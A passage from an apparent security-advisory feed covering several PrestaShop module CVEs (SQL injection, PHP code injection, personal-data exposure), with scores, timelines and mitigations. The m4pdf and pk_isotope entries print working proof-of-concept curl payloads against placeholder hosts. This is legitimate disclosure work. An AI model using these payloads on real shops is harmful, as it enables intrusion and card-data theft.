</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “PayPal Official” for PrestaShop 1.7+ release &lt;= 6.4.1 and for PrestaShop 1.6 release &lt;= 3.18.0, a malicious customer can confirm as “payment accepted” an order even if payment is finally declined by PayPal.]]></summary></entry><entry><title type="html">[CVE-2024-34988] Improper neutralization of SQL parameter in Buy Addons - Complete for Create a Quote in Frontend + Backend Pro module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/20/askforaquotemodul.html" rel="alternate" type="text/html" title="[CVE-2024-34988] Improper neutralization of SQL parameter in Buy Addons - Complete for Create a Quote in Frontend + Backend Pro module for PrestaShop" /><published>2024-06-20T00:00:00+00:00</published><updated>2024-06-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/20/askforaquotemodul</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/20/askforaquotemodul.html"><![CDATA[<p>In the module “Complete for Create a Quote in Frontend + Backend Pro” (askforaquotemodul) up to version 1.0.52 from Buy Addons for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-34988">CVE-2024-34988</a></li>
  <li><strong>Published at</strong>: 2024-06-20</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: askforaquotemodul</li>
  <li><strong>Impacted release</strong>: &lt;= 1.0.51 (1.0.52 fixed the vulnerability - see WARNING below)</li>
  <li><strong>Product author</strong>: Buy Addons</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">AskforaquotemodulcustomernewquoteModuleFrontController::run()</code>, <code class="language-plaintext highlighter-rouge">AskforaquotemoduladdproductnewquoteModuleFrontController::run()</code>, <code class="language-plaintext highlighter-rouge">AskforaquotemodulCouponcodeModuleFrontController::run()</code>, <code class="language-plaintext highlighter-rouge">AskforaquotemodulgetshippingcostModuleFrontController::run()</code>, <code class="language-plaintext highlighter-rouge">AskforaquotemodulgetstateModuleFrontController::run()</code> has sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<p><strong>WARNING</strong> : this version still has sensitives vulnerabilities such as IDOR.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>askforaquotemodul</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-11-14</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-11-14</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-11-14</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2024-01-11</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-05-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-20</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/data-import-export/20579-import-update-bulk-product-from-any-csv-excel-file-pro.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34988">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202-ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Complete for Create a Quote in Frontend + Backend Pro” (askforaquotemodul) up to version 1.0.52 from Buy Addons for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-34991] Exposure of Private Personal Information to an Unauthorized Actor in Quadra Informatique - Axepta module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/20/axepta.html" rel="alternate" type="text/html" title="[CVE-2024-34991] Exposure of Private Personal Information to an Unauthorized Actor in Quadra Informatique - Axepta module for PrestaShop" /><published>2024-06-20T00:00:00+00:00</published><updated>2024-06-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/20/axepta</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/20/axepta.html"><![CDATA[<p>In the module “Axepta” (axepta) from Quadra Informatique for PrestaShop, a guest can download partial credit card information (expiry date) / postal address / email / etc without restriction.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-34991">CVE-2024-34991</a></li>
  <li><strong>Published at</strong>: 2024-06-20</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: axepta</li>
  <li><strong>Impacted release</strong>: &lt;= 1.3.3 (1.3.4 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Quadra Informatique</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permission control, a guest can access debug log from the module which can lead to leak of personal information such as partial credit card information (expiry date), postal address, email, etc which are encoded in base64.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-25</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-08-25</td>
      <td>Contact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-08-28</td>
      <td>Author confirms the leak</td>
    </tr>
    <tr>
      <td>2023-08-28</td>
      <td>Author provides a patch (confirmed on 2024-05-06)</td>
    </tr>
    <tr>
      <td>2024-05-06</td>
      <td>Author confirms versions scope</td>
    </tr>
    <tr>
      <td>2024-05-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>axepta</strong>.</li>
  <li>You should restrict access to this URI pattern : modules/axepta/log/ to a given whitelist</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://shop.quadra-informatique.fr/modules-ecommerce-cms/89-axepta-prestashop.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34991">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202-ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Axepta” (axepta) from Quadra Informatique for PrestaShop, a guest can download partial credit card information (expiry date) / postal address / email / etc without restriction.]]></summary></entry><entry><title type="html">[CVE-2024-34992] Improper neutralization of SQL parameter in FME Modules - Help Desk - Customer Support Management System module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/20/helpdesk.html" rel="alternate" type="text/html" title="[CVE-2024-34992] Improper neutralization of SQL parameter in FME Modules - Help Desk - Customer Support Management System module for PrestaShop" /><published>2024-06-20T00:00:00+00:00</published><updated>2024-06-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/20/helpdesk</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/20/helpdesk.html"><![CDATA[<p>In the module “Help Desk - Customer Support Management System” (helpdesk) up to version 2.4.0 from FME Modules for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-34992">CVE-2024-34992</a></li>
  <li><strong>Published at</strong>: 2024-06-20</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: helpdesk</li>
  <li><strong>Impacted release</strong>: &lt; 2.4.0 (2.4.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: FME Modules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: high (8.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">Tickets::getsearchedtickets()</code> has sensitive SQL call that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>helpdesk</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-02-07</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2024-02-07</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2024-02-07</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2024-04-16</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2024-05-15</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-20</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/customer-service/18740-help-desk-customer-support-management-system.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-34992">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202-ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Help Desk - Customer Support Management System” (helpdesk) up to version 2.4.0 from FME Modules for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-50029] Improper Control of Generation of Code in PrestaAddons - M4 PDF Extensions module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/20/m4pdf.html" rel="alternate" type="text/html" title="[CVE-2023-50029] Improper Control of Generation of Code in PrestaAddons - M4 PDF Extensions module for PrestaShop" /><published>2024-06-20T00:00:00+00:00</published><updated>2024-06-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/20/m4pdf</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/20/m4pdf.html"><![CDATA[<p>In the module “M4 PDF Extensions” (m4pdf) up to version 3.3.2 from PrestaAddons for PrestaShop, a guest can perform PHP code injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-50029">CVE-2023-50029</a></li>
  <li><strong>Published at</strong>: 2024-06-20</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: m4pdf</li>
  <li><strong>Impacted release</strong>: &lt;= 3.3.1 (3.3.2 fixed the vulnerability - see WARNING below)</li>
  <li><strong>Product author</strong>: PrestaAddons</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/94.html">CWE-94</a></li>
  <li><strong>Severity</strong>: critical (10)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">M4PDF::saveTemplate()</code> has sensitive action that can be executed with a trivial http call and exploited to forge a Code injection.</p>

<p>Note : A useless predictable token protect these methods.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<p><strong>WARNING</strong> : The module still own sensitive to critical issues because author refuse to update its logical authentication flaw, you should consider to delete it or put its front controller under IP restriction, if you do so, you must be aware of <a href="https://github.com/PrestaShop/PrestaShop/blob/1.7.7.x/classes/Dispatcher.php#L1092">this</a>.</p>

<p><strong>Edit 2024-09-10 - WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards. Since POC is now exploited, it is considered public.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'fc=module&amp;module=m4pdf&amp;controller=pdf&amp;nav=1&amp;action=save&amp;action_target=test.php&amp;template=test&amp;m4token=PREDICTABLE_TOKEN&amp;editor_content=&lt;?= 42;'</span> <span class="s1">'https://preprod.X/'</span> <span class="o">&amp;&amp;</span> curl <span class="nt">-v</span> <span class="s1">'https://preprod.X/modules/m4pdf/tpl/test.php'</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to delete the module <strong>m4pdf</strong> since author refuse to review its authentication design based on predictable token</li>
  <li>Activate OWASP 933’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-19</td>
      <td>Issue discovered during a code review by <a href="https://www.realdev.fr">realdev</a> and document by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-10-19</td>
      <td>Realdev report it to author</td>
    </tr>
    <tr>
      <td>2023-09-21</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-11-08</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2023-12-12</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-01-16</td>
      <td>Relaunch author for patch</td>
    </tr>
    <tr>
      <td>2024-04-17</td>
      <td>Relaunch author for patch</td>
    </tr>
    <tr>
      <td>2024-06-20</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/data-import-export/2011-m4-pdf-extensions.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-50029">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;realdev.fr&quot;, &quot;202-ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “M4 PDF Extensions” (m4pdf) up to version 3.3.2 from PrestaAddons for PrestaShop, a guest can perform PHP code injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-36681] Improper neutralization of SQL parameter in Promokit.eu - Isotope module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/20/pk_isotope.html" rel="alternate" type="text/html" title="[CVE-2024-36681] Improper neutralization of SQL parameter in Promokit.eu - Isotope module for PrestaShop" /><published>2024-06-20T00:00:00+00:00</published><updated>2024-06-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/20/pk_isotope</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/20/pk_isotope.html"><![CDATA[<p>In the module “Isotope” (pk_isotope) from Promokit.eu for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36681">CVE-2024-36681</a></li>
  <li><strong>Published at</strong>: 2024-06-20</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: pk_isotope</li>
  <li><strong>Impacted release</strong>: &lt;= 1.7.3 (see WARNING 2 below)</li>
  <li><strong>Product author</strong>: Promokit.eu</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">pk_isotope::saveData</code> and <code class="language-plaintext highlighter-rouge">pk_isotope::removeData</code> have sensitives SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING 1</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p><strong>WARNING 2</strong> : Versions declared as impacted are versions where we confirmed critical issue. Author don’t know which exacts versions are impacted, he only said us that it was a long time ago. Author refuse to provide the last version to let us check that all is fixed. So you should consider that all versions can be impacted.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admin’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s2">"https://preprod.X/modules/pk_isotope/ajax.php?pID=1);select(0x73656C65637420736C656570283432293B)INTO@a;prepare</span><span class="sb">`</span>b<span class="sb">`</span><span class="s2">from@a;execute</span><span class="sb">`</span>b<span class="sb">`</span><span class="s2">;--
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>pk_isotope</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2024-03-30</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Contact Author to confirm version scope</td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Author don’t know which version is impacted but confirm us that it was a long time ago</td>
    </tr>
    <tr>
      <td>2024-03-30</td>
      <td>Author refuse to provide us the last version to check if it is fixed</td>
    </tr>
    <tr>
      <td>2024-06-06</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2024-06-20</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://promokit.eu/">Author product page</a></li>
  <li><a href="https://themeforest.net/user/promokit">Theme forest author page</a></li>
  <li><a href="https://themeforest.net/item/alysum-premium-responsive-prestashop-16-theme/2622574">Theme forest product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-36681">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202-ecommerce.com&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Isotope” (pk_isotope) from Promokit.eu for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2024-36682] Exposure of Private Personal Information to an Unauthorized Actor in Promokit.eu - Theme settings module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2024/06/20/pk_themesettings.html" rel="alternate" type="text/html" title="[CVE-2024-36682] Exposure of Private Personal Information to an Unauthorized Actor in Promokit.eu - Theme settings module for PrestaShop" /><published>2024-06-20T00:00:00+00:00</published><updated>2024-06-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2024/06/20/pk_themesettings</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2024/06/20/pk_themesettings.html"><![CDATA[<p>In the module “Theme settings” (pk_themesettings) from Promokit.eu for PrestaShop, a guest can download all emails collected while SHOP is in maintenance mode.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36682">CVE-2024-36682</a></li>
  <li><strong>Published at</strong>: 2024-06-20</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: pk_themesettings</li>
  <li><strong>Impacted release</strong>: &lt;= 1.8.8 (see WARNING below)</li>
  <li><strong>Product author</strong>: Promokit.eu</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/359.html">CWE-359</a></li>
  <li><strong>Severity</strong>: high (7.5), GDPR violation</li>
</ul>

<h2 id="description">Description</h2>

<p>Due to a lack of permission control, a guest can access the txt file which collect emails when maintenance is enable which can lead to leak of personal information.</p>

<p><strong>WARNING</strong> : Versions declared as impacted are versions where we confirmed critical issue. Author don’t know which exacts versions are impacted, he only said us that it was a long time ago. Author refuse to provide the last version to let us check that all is fixed. So you should consider that all versions can be impacted.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Steal personal data</li>
</ul>

